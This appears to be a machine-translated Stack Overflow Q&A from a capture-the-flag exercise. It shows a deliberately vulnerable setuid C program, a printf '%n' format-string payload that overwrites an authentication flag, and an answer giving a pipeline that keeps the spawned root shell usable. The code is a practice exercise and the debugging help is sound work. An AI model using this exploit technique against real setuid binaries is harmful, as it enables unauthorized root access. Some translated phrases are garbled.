Setuid二进制文件通过覆盖%n来生成根外壳,不适用于漏洞利用,但在不需要漏洞利用时起作用

dda*_*aar 4 c linux bash setuid ctf

我有一个Setuid二进制文件,该文件具有一个printf格式字符串漏洞,应该与“%n”一起利用它来覆盖authenticated全局变量的值。使用/ bin / bash时authenticated = 1,使用root Setuid权限可以执行/ bin / bash ,但authenticated = 0使用exploit时则不能。

我已经尝试过ls并且可以正常工作,所以exec正在发生。我也尝试过authenticated = 1在源代码中进行制作,因此它可以自动运行bash而不会被利用。这适用于生成根外壳。使用漏洞利用程序时,程序将按预期方式调用授予访问权限的功能,但在exec处结束,并且永远不会达到错误。但是,父进程死了,这意味着bash的执行程序一定已经发生。Bash必须正在执行,但是它在启动时崩溃/退出。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>

int authenticated = 0;


void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    int cpid = fork();
    if(cpid == 0){
      printf("child!\n");
      execlp("/bin/bash", "bash", NULL);
      perror("error");
    }
    else{
      wait(NULL);
    }
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  setreuid(geteuid(), getuid());

  printf("Would you like a shell? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);

  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }

  read_flag();

}

Run Code Online (Sandbox Code Playgroud)

在authenticated = 0的情况下,我使用gdb查找authenticated类似0x0804a050 的地址。我使用AAAA%x%x%x ...运行该程序,以发现它buf从第4个堆栈位置开始。然后,我的漏洞利用是:python -c "print('\x50\xa0\x04\x08%x%x%x%n')"它成功地将全局var覆盖为“ Access Granted!”。打印。恐怖永远不会实现,Bash必须产生,但是父进程死亡,因此Bash进程也必定已经死亡。时不会发生这种情况authenticated = 1。在这种情况下,Setuid二进制文件的行为符合预期,并弹出一个根shell。

我的问题是:为什么Bash会在启动时死掉,而只有在使用Detuid二进制文件时才会死掉?Bash必须快死了,因为ps -aux它没有列出新的Bash进程,并且运行exit退出调用bash实例。

tha*_*guy 5

当您运行以下之一时:

python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload
Run Code Online (Sandbox Code Playgroud)

唯一的输入就是您的漏洞利用。您无需输入任何命令,因此bash无需执行任何操作并退出。如果您运行true | bash或,也会发生相同的事情bash < /dev/null

如果您希望以后能够手动键入某些命令,最简单的方法是:

{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln
Run Code Online (Sandbox Code Playgroud)

  • 非常感谢!我盯着这个看的时间比我想承认的要多得多。我不知道那是那么简单! (2认同)